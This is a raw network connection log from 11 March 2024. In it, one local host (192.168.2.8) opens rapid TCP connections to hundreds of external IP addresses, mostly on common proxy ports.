Mar 11, 2024 18:36:45.453480959 CET	50611	54047	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:45.453783035 CET	8888	50256	3.25.234.175	192.168.2.8
Mar 11, 2024 18:36:45.453923941 CET	50256	8888	192.168.2.8	3.25.234.175
Mar 11, 2024 18:36:45.454355001 CET	50612	80	192.168.2.8	50.174.214.219
Mar 11, 2024 18:36:45.454355001 CET	50256	8888	192.168.2.8	3.25.234.175
Mar 11, 2024 18:36:45.454654932 CET	50613	38242	192.168.2.8	162.144.36.208
Mar 11, 2024 18:36:45.454838991 CET	50614	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.455607891 CET	50615	8901	192.168.2.8	178.23.192.249
Mar 11, 2024 18:36:45.455607891 CET	50616	27138	192.168.2.8	173.212.209.216
Mar 11, 2024 18:36:45.455661058 CET	80	50249	172.67.182.126	192.168.2.8
Mar 11, 2024 18:36:45.455689907 CET	80	50026	121.159.146.251	192.168.2.8
Mar 11, 2024 18:36:45.455765963 CET	80	50026	121.159.146.251	192.168.2.8
Mar 11, 2024 18:36:45.455879927 CET	80	50026	121.159.146.251	192.168.2.8
Mar 11, 2024 18:36:45.455935001 CET	80	50249	172.67.182.126	192.168.2.8
Mar 11, 2024 18:36:45.456052065 CET	50026	80	192.168.2.8	121.159.146.251
Mar 11, 2024 18:36:45.456228971 CET	49793	999	192.168.2.8	200.106.184.97
Mar 11, 2024 18:36:45.456238031 CET	49893	80	192.168.2.8	50.223.239.166
Mar 11, 2024 18:36:45.456238031 CET	49889	80	192.168.2.8	50.174.145.11
Mar 11, 2024 18:36:45.456238031 CET	49752	3128	192.168.2.8	8.209.255.13
Mar 11, 2024 18:36:45.456238031 CET	49916	5775	192.168.2.8	72.10.160.92
Mar 11, 2024 18:36:45.456238031 CET	49788	5678	192.168.2.8	186.248.87.172
Mar 11, 2024 18:36:45.456353903 CET	50026	80	192.168.2.8	121.159.146.251
Mar 11, 2024 18:36:45.456603050 CET	50249	80	192.168.2.8	172.67.182.126
Mar 11, 2024 18:36:45.456763029 CET	80	49810	149.202.91.219	192.168.2.8
Mar 11, 2024 18:36:45.456999063 CET	50617	8080	192.168.2.8	1.0.205.87
Mar 11, 2024 18:36:45.457703114 CET	80	50249	172.67.182.126	192.168.2.8
Mar 11, 2024 18:36:45.457777977 CET	50249	80	192.168.2.8	172.67.182.126
Mar 11, 2024 18:36:45.457789898 CET	50618	999	192.168.2.8	45.65.138.48
Mar 11, 2024 18:36:45.458153963 CET	50619	8004	192.168.2.8	128.199.221.91
Mar 11, 2024 18:36:45.458384037 CET	16379	50030	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:45.458745956 CET	50030	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.458848953 CET	50030	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.458969116 CET	16379	50030	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:45.459403038 CET	80	50438	172.67.14.237	192.168.2.8
Mar 11, 2024 18:36:45.459422112 CET	50620	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:45.459661961 CET	50621	15303	192.168.2.8	184.178.172.5
Mar 11, 2024 18:36:45.459753036 CET	50438	80	192.168.2.8	172.67.14.237
Mar 11, 2024 18:36:45.460237026 CET	50438	80	192.168.2.8	172.67.14.237
Mar 11, 2024 18:36:45.460323095 CET	80	50222	8.222.239.209	192.168.2.8
Mar 11, 2024 18:36:45.460568905 CET	50222	80	192.168.2.8	8.222.239.209
Mar 11, 2024 18:36:45.460592031 CET	50622	64312	192.168.2.8	104.128.103.32
Mar 11, 2024 18:36:45.460635900 CET	80	50333	54.152.3.36	192.168.2.8
Mar 11, 2024 18:36:45.460752964 CET	50624	3128	192.168.2.8	155.185.15.56
Mar 11, 2024 18:36:45.460850000 CET	50333	80	192.168.2.8	54.152.3.36
Mar 11, 2024 18:36:45.460879087 CET	50222	80	192.168.2.8	8.222.239.209
Mar 11, 2024 18:36:45.460879087 CET	50623	1111	192.168.2.8	103.189.249.196
Mar 11, 2024 18:36:45.461296082 CET	50333	80	192.168.2.8	54.152.3.36
Mar 11, 2024 18:36:45.461426020 CET	60200	50374	162.241.137.197	192.168.2.8
Mar 11, 2024 18:36:45.462567091 CET	50625	8079	192.168.2.8	94.154.152.4
Mar 11, 2024 18:36:45.462887049 CET	999	50372	189.173.223.225	192.168.2.8
Mar 11, 2024 18:36:45.462903976 CET	80	50440	185.238.228.240	192.168.2.8
Mar 11, 2024 18:36:45.462918043 CET	50626	8080	192.168.2.8	189.203.201.146
Mar 11, 2024 18:36:45.462996960 CET	50440	80	192.168.2.8	185.238.228.240
Mar 11, 2024 18:36:45.463001966 CET	50372	999	192.168.2.8	189.173.223.225
Mar 11, 2024 18:36:45.463232040 CET	50627	999	192.168.2.8	190.97.238.94
Mar 11, 2024 18:36:45.464118958 CET	50372	999	192.168.2.8	189.173.223.225
Mar 11, 2024 18:36:45.464267015 CET	50440	80	192.168.2.8	185.238.228.240
Mar 11, 2024 18:36:45.464401007 CET	4145	50437	184.178.172.3	192.168.2.8
Mar 11, 2024 18:36:45.464701891 CET	50628	25675	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.464776039 CET	50437	4145	192.168.2.8	184.178.172.3
Mar 11, 2024 18:36:45.465022087 CET	50629	8080	192.168.2.8	45.252.79.48
Mar 11, 2024 18:36:45.465790987 CET	50631	8001	192.168.2.8	213.171.214.19
Mar 11, 2024 18:36:45.465806961 CET	50630	4153	192.168.2.8	185.171.55.218
Mar 11, 2024 18:36:45.466535091 CET	50632	2016	192.168.2.8	103.174.178.137
Mar 11, 2024 18:36:45.466906071 CET	50633	16379	192.168.2.8	51.15.234.222
Mar 11, 2024 18:36:45.467672110 CET	50634	4153	192.168.2.8	190.2.110.7
Mar 11, 2024 18:36:45.467674017 CET	50635	5566	192.168.2.8	195.201.246.166
Mar 11, 2024 18:36:45.468175888 CET	50636	1080	192.168.2.8	77.37.155.85
Mar 11, 2024 18:36:45.468506098 CET	50637	16379	192.168.2.8	51.158.124.167
Mar 11, 2024 18:36:45.469516039 CET	50638	80	192.168.2.8	37.120.187.59
Mar 11, 2024 18:36:45.469712973 CET	15673	50392	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:45.469840050 CET	50392	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:45.470793962 CET	50392	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:45.470794916 CET	50639	42624	192.168.2.8	162.214.164.200
Mar 11, 2024 18:36:45.471772909 CET	50640	4145	192.168.2.8	202.124.46.65
Mar 11, 2024 18:36:45.471849918 CET	49795	999	192.168.2.8	201.71.3.60
Mar 11, 2024 18:36:45.471853971 CET	49794	5038	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.471858025 CET	49835	3129	192.168.2.8	20.204.212.76
Mar 11, 2024 18:36:45.472069025 CET	49796	54240	192.168.2.8	200.25.254.193
Mar 11, 2024 18:36:45.472157955 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:45.473804951 CET	50641	8080	192.168.2.8	139.5.73.71
Mar 11, 2024 18:36:45.474946976 CET	50642	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.475553036 CET	80	50272	172.67.181.129	192.168.2.8
Mar 11, 2024 18:36:45.476247072 CET	80	50272	172.67.181.129	192.168.2.8
Mar 11, 2024 18:36:45.476510048 CET	80	50272	172.67.181.129	192.168.2.8
Mar 11, 2024 18:36:45.476540089 CET	50643	48085	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:45.476587057 CET	50272	80	192.168.2.8	172.67.181.129
Mar 11, 2024 18:36:45.476660013 CET	80	50448	172.67.209.12	192.168.2.8
Mar 11, 2024 18:36:45.477066994 CET	50272	80	192.168.2.8	172.67.181.129
Mar 11, 2024 18:36:45.477066994 CET	50448	80	192.168.2.8	172.67.209.12
Mar 11, 2024 18:36:45.477360964 CET	80	50452	104.20.103.68	192.168.2.8
Mar 11, 2024 18:36:45.477376938 CET	50448	80	192.168.2.8	172.67.209.12
Mar 11, 2024 18:36:45.477474928 CET	50452	80	192.168.2.8	104.20.103.68
Mar 11, 2024 18:36:45.477822065 CET	50452	80	192.168.2.8	104.20.103.68
Mar 11, 2024 18:36:45.478396893 CET	50644	8080	192.168.2.8	165.16.46.193
Mar 11, 2024 18:36:45.478398085 CET	50645	40571	192.168.2.8	216.10.242.18
Mar 11, 2024 18:36:45.478631973 CET	50646	9125	192.168.2.8	178.253.201.11
Mar 11, 2024 18:36:45.479163885 CET	50647	4153	192.168.2.8	202.44.228.36
Mar 11, 2024 18:36:45.479381084 CET	50648	1976	192.168.2.8	41.65.55.10
Mar 11, 2024 18:36:45.480227947 CET	50650	80	192.168.2.8	162.214.165.203
Mar 11, 2024 18:36:45.480237007 CET	50649	80	192.168.2.8	50.173.140.150
Mar 11, 2024 18:36:45.481358051 CET	3129	50177	20.204.214.79	192.168.2.8
Mar 11, 2024 18:36:45.481410980 CET	50651	10801	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.481411934 CET	8000	50258	128.199.252.41	192.168.2.8
Mar 11, 2024 18:36:45.482361078 CET	50652	8182	192.168.2.8	120.89.91.222
Mar 11, 2024 18:36:45.482368946 CET	50653	8080	192.168.2.8	181.212.45.226
Mar 11, 2024 18:36:45.483074903 CET	50654	80	192.168.2.8	3.24.178.81
Mar 11, 2024 18:36:45.483274937 CET	50655	29718	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.483340025 CET	50656	80	192.168.2.8	104.16.108.42
Mar 11, 2024 18:36:45.484309912 CET	50657	23500	192.168.2.8	109.73.184.94
Mar 11, 2024 18:36:45.484493017 CET	50658	80	192.168.2.8	34.154.161.152
Mar 11, 2024 18:36:45.484891891 CET	8089	50192	114.232.109.43	192.168.2.8
Mar 11, 2024 18:36:45.485116005 CET	50659	80	192.168.2.8	188.165.213.106
Mar 11, 2024 18:36:45.486735106 CET	4145	50062	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:45.486772060 CET	4145	50062	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:45.487481117 CET	49798	8089	192.168.2.8	114.231.45.101
Mar 11, 2024 18:36:45.487483978 CET	49927	5678	192.168.2.8	181.78.13.91
Mar 11, 2024 18:36:45.487499952 CET	49800	3129	192.168.2.8	115.248.66.131
Mar 11, 2024 18:36:45.487502098 CET	49802	37400	192.168.2.8	171.244.140.160
Mar 11, 2024 18:36:45.487725973 CET	44195	50296	162.19.7.56	192.168.2.8
Mar 11, 2024 18:36:45.488943100 CET	1080	49806	185.82.87.30	192.168.2.8
Mar 11, 2024 18:36:45.489542961 CET	3128	50173	41.223.232.117	192.168.2.8
Mar 11, 2024 18:36:45.489763021 CET	50173	3128	192.168.2.8	41.223.232.117
Mar 11, 2024 18:36:45.490647078 CET	33590	49736	85.120.30.66	192.168.2.8
Mar 11, 2024 18:36:45.492501974 CET	80	50121	104.20.123.164	192.168.2.8
Mar 11, 2024 18:36:45.492882967 CET	5432	50399	45.196.151.84	192.168.2.8
Mar 11, 2024 18:36:45.493007898 CET	50399	5432	192.168.2.8	45.196.151.84
Mar 11, 2024 18:36:45.493071079 CET	8081	49803	193.239.56.84	192.168.2.8
Mar 11, 2024 18:36:45.493165016 CET	5034	50252	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:45.493240118 CET	9091	49996	120.37.121.209	192.168.2.8
Mar 11, 2024 18:36:45.493268013 CET	50252	5034	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.493376017 CET	9091	49996	120.37.121.209	192.168.2.8
Mar 11, 2024 18:36:45.493391037 CET	9091	49996	120.37.121.209	192.168.2.8
Mar 11, 2024 18:36:45.493498087 CET	49996	9091	192.168.2.8	120.37.121.209
Mar 11, 2024 18:36:45.493756056 CET	26315	49817	72.10.160.171	192.168.2.8
Mar 11, 2024 18:36:45.493854046 CET	80	50282	104.17.166.210	192.168.2.8
Mar 11, 2024 18:36:45.493906975 CET	80	50282	104.17.166.210	192.168.2.8
Mar 11, 2024 18:36:45.494110107 CET	24815	50279	95.217.104.21	192.168.2.8
Mar 11, 2024 18:36:45.494611979 CET	80	50282	104.17.166.210	192.168.2.8
Mar 11, 2024 18:36:45.494680882 CET	50282	80	192.168.2.8	104.17.166.210
Mar 11, 2024 18:36:45.494730949 CET	19599	50389	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:45.498476028 CET	80	50463	104.16.105.142	192.168.2.8
Mar 11, 2024 18:36:45.498657942 CET	50463	80	192.168.2.8	104.16.105.142
Mar 11, 2024 18:36:45.500125885 CET	8197	49831	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.503117085 CET	49801	45876	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.503118038 CET	49895	64768	192.168.2.8	173.212.250.16
Mar 11, 2024 18:36:45.503119946 CET	49950	18067	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.503134966 CET	49934	80	192.168.2.8	50.168.163.166
Mar 11, 2024 18:36:45.503137112 CET	49807	999	192.168.2.8	157.100.63.69
Mar 11, 2024 18:36:45.503155947 CET	49951	26353	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:45.503256083 CET	50010	55137	192.168.2.8	192.169.197.146
Mar 11, 2024 18:36:45.503623962 CET	24543	50420	209.159.153.19	192.168.2.8
Mar 11, 2024 18:36:45.505532980 CET	27391	50465	72.195.34.60	192.168.2.8
Mar 11, 2024 18:36:45.506835938 CET	80	49779	50.174.145.9	192.168.2.8
Mar 11, 2024 18:36:45.506983042 CET	50465	27391	192.168.2.8	72.195.34.60
Mar 11, 2024 18:36:45.507045031 CET	50282	80	192.168.2.8	104.17.166.210
Mar 11, 2024 18:36:45.507047892 CET	50463	80	192.168.2.8	104.16.105.142
Mar 11, 2024 18:36:45.507370949 CET	49996	9091	192.168.2.8	120.37.121.209
Mar 11, 2024 18:36:45.507873058 CET	50173	3128	192.168.2.8	41.223.232.117
Mar 11, 2024 18:36:45.507874012 CET	50252	5034	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.507891893 CET	50399	5432	192.168.2.8	45.196.151.84
Mar 11, 2024 18:36:45.508292913 CET	58386	49847	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:45.508843899 CET	50660	999	192.168.2.8	177.93.45.156
Mar 11, 2024 18:36:45.508843899 CET	50661	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:45.509109020 CET	50662	62291	192.168.2.8	161.97.170.209
Mar 11, 2024 18:36:45.509197950 CET	58386	49847	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:45.509247065 CET	58386	49847	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:45.509274006 CET	49847	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:45.509284019 CET	9039	49826	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:45.510210037 CET	50663	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:45.510500908 CET	8080	50265	91.202.230.219	192.168.2.8
Mar 11, 2024 18:36:45.510577917 CET	50265	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:45.511034012 CET	50265	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:45.511225939 CET	50664	4444	192.168.2.8	193.8.87.43
Mar 11, 2024 18:36:45.511552095 CET	50665	29197	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.511667967 CET	50666	4153	192.168.2.8	187.122.105.181
Mar 11, 2024 18:36:45.511919975 CET	45248	49896	166.62.121.127	192.168.2.8
Mar 11, 2024 18:36:45.512861013 CET	9080	50190	154.205.152.96	192.168.2.8
Mar 11, 2024 18:36:45.515882969 CET	80	50472	104.24.35.152	192.168.2.8
Mar 11, 2024 18:36:45.515983105 CET	50472	80	192.168.2.8	104.24.35.152
Mar 11, 2024 18:36:45.516062975 CET	50667	26087	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:45.516447067 CET	50472	80	192.168.2.8	104.24.35.152
Mar 11, 2024 18:36:45.516459942 CET	50668	31571	192.168.2.8	72.10.160.170
Mar 11, 2024 18:36:45.517093897 CET	49805	3128	192.168.2.8	196.202.40.17
Mar 11, 2024 18:36:45.517096043 CET	49808	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:45.517182112 CET	49809	3629	192.168.2.8	188.124.15.13
Mar 11, 2024 18:36:45.518028975 CET	8000	50285	167.172.79.17	192.168.2.8
Mar 11, 2024 18:36:45.518315077 CET	8080	50199	46.209.54.102	192.168.2.8
Mar 11, 2024 18:36:45.518747091 CET	49811	1111	192.168.2.8	103.8.164.16
Mar 11, 2024 18:36:45.518748045 CET	49804	8080	192.168.2.8	14.207.41.71
Mar 11, 2024 18:36:45.518755913 CET	49963	17145	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:45.518908024 CET	49816	8090	192.168.2.8	115.127.112.74
Mar 11, 2024 18:36:45.520430088 CET	4145	50129	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:45.520843983 CET	4145	50129	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:45.520937920 CET	80	50485	104.27.83.183	192.168.2.8
Mar 11, 2024 18:36:45.521090984 CET	50485	80	192.168.2.8	104.27.83.183
Mar 11, 2024 18:36:45.522124052 CET	3128	50315	194.145.209.187	192.168.2.8
Mar 11, 2024 18:36:45.522769928 CET	25491	50433	67.43.227.230	192.168.2.8
Mar 11, 2024 18:36:45.525269032 CET	3128	49880	18.134.236.231	192.168.2.8
Mar 11, 2024 18:36:45.525393009 CET	4145	50378	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:45.525623083 CET	80	50149	104.16.143.127	192.168.2.8
Mar 11, 2024 18:36:45.525645971 CET	50378	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:45.525759935 CET	50378	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:45.526087046 CET	80	49834	50.172.218.160	192.168.2.8
Mar 11, 2024 18:36:45.527458906 CET	1080	50251	54.212.22.168	192.168.2.8
Mar 11, 2024 18:36:45.527535915 CET	80	50300	104.18.161.122	192.168.2.8
Mar 11, 2024 18:36:45.527584076 CET	80	50300	104.18.161.122	192.168.2.8
Mar 11, 2024 18:36:45.527841091 CET	80	50136	172.67.182.0	192.168.2.8
Mar 11, 2024 18:36:45.527868986 CET	50300	80	192.168.2.8	104.18.161.122
Mar 11, 2024 18:36:45.528733015 CET	80	50300	104.18.161.122	192.168.2.8
Mar 11, 2024 18:36:45.528887987 CET	80	50134	104.21.194.182	192.168.2.8
Mar 11, 2024 18:36:45.528932095 CET	1080	50251	54.212.22.168	192.168.2.8
Mar 11, 2024 18:36:45.528964043 CET	50300	80	192.168.2.8	104.18.161.122
Mar 11, 2024 18:36:45.529618025 CET	49478	49733	162.241.70.64	192.168.2.8
Mar 11, 2024 18:36:45.529659033 CET	50251	1080	192.168.2.8	54.212.22.168
Mar 11, 2024 18:36:45.529723883 CET	49733	49478	192.168.2.8	162.241.70.64
Mar 11, 2024 18:36:45.529840946 CET	49733	49478	192.168.2.8	162.241.70.64
Mar 11, 2024 18:36:45.530354977 CET	50485	80	192.168.2.8	104.27.83.183
Mar 11, 2024 18:36:45.531346083 CET	80	50508	173.245.49.27	192.168.2.8
Mar 11, 2024 18:36:45.531377077 CET	50669	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:45.531709909 CET	50508	80	192.168.2.8	173.245.49.27
Mar 11, 2024 18:36:45.531783104 CET	50508	80	192.168.2.8	173.245.49.27
Mar 11, 2024 18:36:45.531793118 CET	8197	49831	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.531863928 CET	3128	50292	139.99.148.90	192.168.2.8
Mar 11, 2024 18:36:45.532026052 CET	50292	3128	192.168.2.8	139.99.148.90
Mar 11, 2024 18:36:45.532222033 CET	8197	50301	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:45.532247066 CET	50292	3128	192.168.2.8	139.99.148.90
Mar 11, 2024 18:36:45.532278061 CET	3128	50319	46.101.102.134	192.168.2.8
Mar 11, 2024 18:36:45.532305002 CET	50301	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.532500029 CET	50301	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:45.533405066 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:45.533854961 CET	50671	3128	192.168.2.8	201.243.82.157
Mar 11, 2024 18:36:45.533854961 CET	50670	8080	192.168.2.8	102.214.104.56
Mar 11, 2024 18:36:45.534127951 CET	50672	37920	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:45.534351110 CET	50673	52858	192.168.2.8	195.177.217.131
Mar 11, 2024 18:36:45.534353018 CET	49909	3128	192.168.2.8	194.182.187.78
Mar 11, 2024 18:36:45.534353018 CET	49824	5678	192.168.2.8	45.228.147.209
Mar 11, 2024 18:36:45.534353971 CET	49982	25639	192.168.2.8	67.43.227.226
Mar 11, 2024 18:36:45.534441948 CET	49818	3128	192.168.2.8	193.239.86.249
Mar 11, 2024 18:36:45.535516024 CET	50675	2536	192.168.2.8	148.72.206.84
Mar 11, 2024 18:36:45.535572052 CET	50674	36946	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.536072969 CET	50676	80	192.168.2.8	172.67.181.97
Mar 11, 2024 18:36:45.538387060 CET	12334	50187	194.4.50.62	192.168.2.8
Mar 11, 2024 18:36:45.538402081 CET	4145	50432	199.58.185.9	192.168.2.8
Mar 11, 2024 18:36:45.538578033 CET	50432	4145	192.168.2.8	199.58.185.9
Mar 11, 2024 18:36:45.539835930 CET	12334	50187	194.4.50.62	192.168.2.8
Mar 11, 2024 18:36:45.539977074 CET	50187	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:45.543061972 CET	80	50370	50.173.140.149	192.168.2.8
Mar 11, 2024 18:36:45.543886900 CET	58740	49753	162.214.90.49	192.168.2.8
Mar 11, 2024 18:36:45.544023991 CET	49753	58740	192.168.2.8	162.214.90.49
Mar 11, 2024 18:36:45.545053005 CET	4145	49729	152.32.78.24	192.168.2.8
Mar 11, 2024 18:36:45.546382904 CET	9764	50442	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:45.546547890 CET	8000	50054	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:45.546569109 CET	50442	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.546885014 CET	8000	50054	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:45.546993971 CET	50054	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.548413038 CET	80	50049	222.255.238.159	192.168.2.8
Mar 11, 2024 18:36:45.549108028 CET	80	50049	222.255.238.159	192.168.2.8
Mar 11, 2024 18:36:45.549439907 CET	3335	50447	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.549957991 CET	50069	8080	192.168.2.8	201.170.180.188
Mar 11, 2024 18:36:45.549974918 CET	49821	8080	192.168.2.8	193.34.21.200
Mar 11, 2024 18:36:45.549977064 CET	49828	5678	192.168.2.8	123.108.98.108
Mar 11, 2024 18:36:45.549979925 CET	49881	5678	192.168.2.8	176.119.227.65
Mar 11, 2024 18:36:45.549984932 CET	49819	999	192.168.2.8	45.181.123.145
Mar 11, 2024 18:36:45.550052881 CET	49832	13335	192.168.2.8	172.67.185.199
Mar 11, 2024 18:36:45.550057888 CET	49827	1080	192.168.2.8	5.180.19.140
Mar 11, 2024 18:36:45.550081015 CET	1080	49825	93.171.243.253	192.168.2.8
Mar 11, 2024 18:36:45.554595947 CET	80	50387	50.218.57.68	192.168.2.8
Mar 11, 2024 18:36:45.554757118 CET	64654	50339	162.19.7.53	192.168.2.8
Mar 11, 2024 18:36:45.556394100 CET	50054	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.556394100 CET	50442	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.556977034 CET	8123	49759	20.24.43.214	192.168.2.8
Mar 11, 2024 18:36:45.557030916 CET	49753	58740	192.168.2.8	162.214.90.49
Mar 11, 2024 18:36:45.557295084 CET	50432	4145	192.168.2.8	199.58.185.9
Mar 11, 2024 18:36:45.557605982 CET	50677	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:45.557745934 CET	50187	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:45.557898045 CET	50678	1080	192.168.2.8	195.98.93.234
Mar 11, 2024 18:36:45.558041096 CET	50679	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:45.559010983 CET	50680	52173	192.168.2.8	31.24.44.92
Mar 11, 2024 18:36:45.559182882 CET	5678	49812	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:45.560026884 CET	5678	50303	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:45.560430050 CET	50303	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:45.560544968 CET	50303	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:45.560719967 CET	4145	50490	142.54.231.38	192.168.2.8
Mar 11, 2024 18:36:45.560739994 CET	50681	48200	192.168.2.8	43.230.196.98
Mar 11, 2024 18:36:45.560818911 CET	50682	4153	192.168.2.8	170.81.108.46
Mar 11, 2024 18:36:45.560892105 CET	50490	4145	192.168.2.8	142.54.231.38
Mar 11, 2024 18:36:45.561134100 CET	50490	4145	192.168.2.8	142.54.231.38
Mar 11, 2024 18:36:45.561943054 CET	80	50348	104.25.167.88	192.168.2.8
Mar 11, 2024 18:36:45.561959028 CET	80	50348	104.25.167.88	192.168.2.8
Mar 11, 2024 18:36:45.562195063 CET	50683	3128	192.168.2.8	192.46.229.19
Mar 11, 2024 18:36:45.562273979 CET	80	50348	104.25.167.88	192.168.2.8
Mar 11, 2024 18:36:45.562302113 CET	50348	80	192.168.2.8	104.25.167.88
Mar 11, 2024 18:36:45.562381983 CET	50348	80	192.168.2.8	104.25.167.88
Mar 11, 2024 18:36:45.562815905 CET	50684	61344	192.168.2.8	75.119.145.169
Mar 11, 2024 18:36:45.562884092 CET	80	50326	186.124.164.213	192.168.2.8
Mar 11, 2024 18:36:45.562994957 CET	50326	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:45.563128948 CET	50326	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:45.564157963 CET	50685	80	192.168.2.8	50.174.214.222
Mar 11, 2024 18:36:45.564862967 CET	5678	49760	178.212.51.79	192.168.2.8
Mar 11, 2024 18:36:45.564888954 CET	50686	80	192.168.2.8	104.25.42.178
Mar 11, 2024 18:36:45.565200090 CET	9002	49830	220.248.70.237	192.168.2.8
Mar 11, 2024 18:36:45.565594912 CET	49842	8089	192.168.2.8	123.182.58.221
Mar 11, 2024 18:36:45.565596104 CET	50011	3128	192.168.2.8	178.128.148.69
Mar 11, 2024 18:36:45.565612078 CET	49836	3128	192.168.2.8	155.50.241.99
Mar 11, 2024 18:36:45.565613031 CET	49833	55019	192.168.2.8	92.204.135.37
Mar 11, 2024 18:36:45.565630913 CET	49844	18877	192.168.2.8	178.128.207.96
Mar 11, 2024 18:36:45.565634012 CET	49839	8080	192.168.2.8	160.19.169.208
Mar 11, 2024 18:36:45.565655947 CET	49837	80	192.168.2.8	52.24.80.166
Mar 11, 2024 18:36:45.566723108 CET	50687	8080	192.168.2.8	160.119.148.190
Mar 11, 2024 18:36:45.567095041 CET	50688	44550	192.168.2.8	190.144.224.182
Mar 11, 2024 18:36:45.567379951 CET	50689	8080	192.168.2.8	68.188.93.171
Mar 11, 2024 18:36:45.567998886 CET	50690	3128	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:45.568954945 CET	80	50562	31.43.179.160	192.168.2.8
Mar 11, 2024 18:36:45.568985939 CET	50691	999	192.168.2.8	201.71.3.61
Mar 11, 2024 18:36:45.569052935 CET	50562	80	192.168.2.8	31.43.179.160
Mar 11, 2024 18:36:45.569444895 CET	80	50356	172.67.231.3	192.168.2.8
Mar 11, 2024 18:36:45.569458961 CET	80	50356	172.67.231.3	192.168.2.8
Mar 11, 2024 18:36:45.569557905 CET	50562	80	192.168.2.8	31.43.179.160
Mar 11, 2024 18:36:45.569653034 CET	50356	80	192.168.2.8	172.67.231.3
Mar 11, 2024 18:36:45.569654942 CET	50692	3128	192.168.2.8	176.58.96.11
Mar 11, 2024 18:36:45.569787979 CET	80	50198	172.67.150.173	192.168.2.8
Mar 11, 2024 18:36:45.569802046 CET	80	50356	172.67.231.3	192.168.2.8
Mar 11, 2024 18:36:45.570162058 CET	50356	80	192.168.2.8	172.67.231.3
Mar 11, 2024 18:36:45.570517063 CET	50693	80	192.168.2.8	104.19.225.70
Mar 11, 2024 18:36:45.571021080 CET	80	50197	104.20.24.214	192.168.2.8
Mar 11, 2024 18:36:45.571341038 CET	80	50488	50.239.72.17	192.168.2.8
Mar 11, 2024 18:36:45.571723938 CET	50694	8080	192.168.2.8	51.145.176.250
Mar 11, 2024 18:36:45.572043896 CET	50695	80	192.168.2.8	50.230.222.202
Mar 11, 2024 18:36:45.572339058 CET	50696	24001	192.168.2.8	139.196.186.157
Mar 11, 2024 18:36:45.572649956 CET	50697	8080	192.168.2.8	151.22.181.205
Mar 11, 2024 18:36:45.573008060 CET	50698	1080	192.168.2.8	103.140.205.133
Mar 11, 2024 18:36:45.573954105 CET	52903	50509	203.161.32.242	192.168.2.8
Mar 11, 2024 18:36:45.573992014 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:45.574007034 CET	7302	50219	124.163.236.54	192.168.2.8
